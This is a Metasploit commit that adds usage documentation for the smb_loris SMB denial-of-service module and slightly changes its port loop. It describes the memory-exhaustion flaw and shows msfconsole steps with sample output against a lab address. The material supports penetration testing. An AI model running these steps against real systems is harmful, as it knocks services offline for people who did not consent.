Skip to content

Commit 289f032

Browse files
David MaloneyDavid Maloney
authored andcommitted
add module documentation
add module docs for the new smbloris DoS
1 parent 15cc2a9 commit 289f032

File tree

2 files changed

+48
-1
lines changed

2 files changed

+48
-1
lines changed
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
## Vulnerable Application
2+
3+
This module exploits a vulnerability in the NetBIOS Session Service Header for SMB.
4+
Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable.
5+
See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability.
6+
7+
The module opens over 64,000 connections to the target service, so please make sure
8+
your system ULIMIT is set appropriately to handle it. A single host running this module
9+
can theoretically consume up to 8GB of memory on the target.
10+
11+
## Verification Steps
12+
13+
Example steps in this format (is also in the PR):
14+
15+
1. Start msfconsole
16+
1. Do: `use auxiliary/dos/smb/smb_lorris`
17+
1. Do: `set RHOST [IP]`
18+
1. Do: `run`
19+
1. Target should allocate increasing amounts of memory.
20+
21+
## Scenarios
22+
23+
###
24+
25+
```
26+
msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris
27+
msf auxiliary(smb_loris) > set RHOST 192.168.172.138
28+
RHOST => 192.168.172.138
29+
msf auxiliary(smb_loris) >
30+
31+
msf auxiliary(smb_loris) > run
32+
33+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1025
34+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1026
35+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1027
36+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1028
37+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1029
38+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1030
39+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1031
40+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1032
41+
[*] 192.168.172.138:445 - Sending packet from Source Port: 1033
42+
....
43+
```

modules/auxiliary/dos/smb/smb_loris.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,9 @@ def initialize(info = {})
2727
large numbers of these sessions, the memory does not get freed, and the server
2828
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
2929
and Zach Harding.
30+
31+
DISCALIMER: This module opens a lot of simultaneous connections. Please check
32+
your system's ULIMIT to make sure it can handle it.
3033
},
3134
'Author' =>
3235
[
@@ -52,7 +55,8 @@ def run
5255

5356
linger = Socket::Option.linger(true, 60)
5457

55-
(1..65535).each do |src_port|
58+
59+
(1025..65535).each do |src_port|
5660
print_status "Sending packet from Source Port: #{src_port}"
5761
opts = {
5862
'CPORT' => src_port,

0 commit comments

Comments
 (0)